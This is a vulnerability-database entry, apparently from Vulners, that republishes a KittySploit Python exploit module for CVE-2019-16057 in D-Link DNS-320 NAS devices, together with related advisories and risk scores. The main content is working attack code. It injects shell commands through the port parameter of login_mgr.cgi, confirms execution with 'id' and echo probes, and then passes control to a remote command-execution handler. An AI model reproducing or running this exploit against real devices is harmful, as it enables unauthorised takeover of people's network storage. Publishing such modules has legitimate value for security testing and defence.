Lucene search
+L

D-Link DNS-320 login_mgr RCE (CVE-2019-16057)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Command injection in D-Link DNS-320 login_mgr.cgi port parameter enables RCE.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2019-16057
16 Sep 201900:00
–attackerkb
bdu_fstec
BDU FSTEC
D-Link DNS-320 Code Execution
9 Oct 201900:00
–bdu_fstec
circl
Circl
CVE-2019-16057
15 Oct 202015:07
–circl
cisa_kev
CISA KEV Catalog
D-Link DNS-320 Remote Code Execution Vulnerability
15 Apr 202200:00
–cisa_kev
cnvd
CNVD
D-Link DNS-320 Remote Command Injection Vulnerability
17 Sep 201900:00
–cnvd
checkpoint_advisories
Check Point Advisories
D-Link DNS-320 ShareCenter Command Injection (CVE-2019-16057)
25 Jan 202100:00
–checkpoint_advisories
cve
CVE
CVE-2019-16057
16 Sep 201911:58
–cve
cvelist
Cvelist
CVE-2019-16057
16 Sep 201911:58
–cvelist
nessus
Tenable Nessus
D-Link Routers RCE (CVE-2019-16057)
1 Mar 202300:00
–nessus
kittysploit
KittySploit
D-Link DNS-320 - Remote Code Execution Detection
28 Jul 202611:27
–kittysploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DNS-320 login_mgr.cgi RCE (CVE-2019-16057)."""

import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'D-Link DNS-320 login_mgr RCE (CVE-2019-16057)',
        'description': (
            'Exploits CVE-2019-16057 in D-Link DNS-320 <=2.05.B10: command injection in '
            'login_mgr.cgi port parameter.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2019-16057'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2019-16057',
        ],
        'tags': ['dlink', 'nas', 'rce', 'cmdi', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2019_16057_detect'],
            },
        },
    }

    def execute(self, cmd: str) -> str:
        inj = urllib.parse.quote(f'80|{cmd}', safe='')
        path = (
            f'/cgi-bin/login_mgr.cgi?C1=ON&cmd=login&f_type=1&f_username=admin'
            f'&port={inj}&pre_pwd=1&pwd=%20&ssl=1&ssl_port=1&username='
        )
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2019-16057 injection confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'DNS-320 injection not confirmed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.6High risk
Vulners AI Score8.6
CVSS 3.19.8
CVSS 210
EPSS0.86491
SSVC
2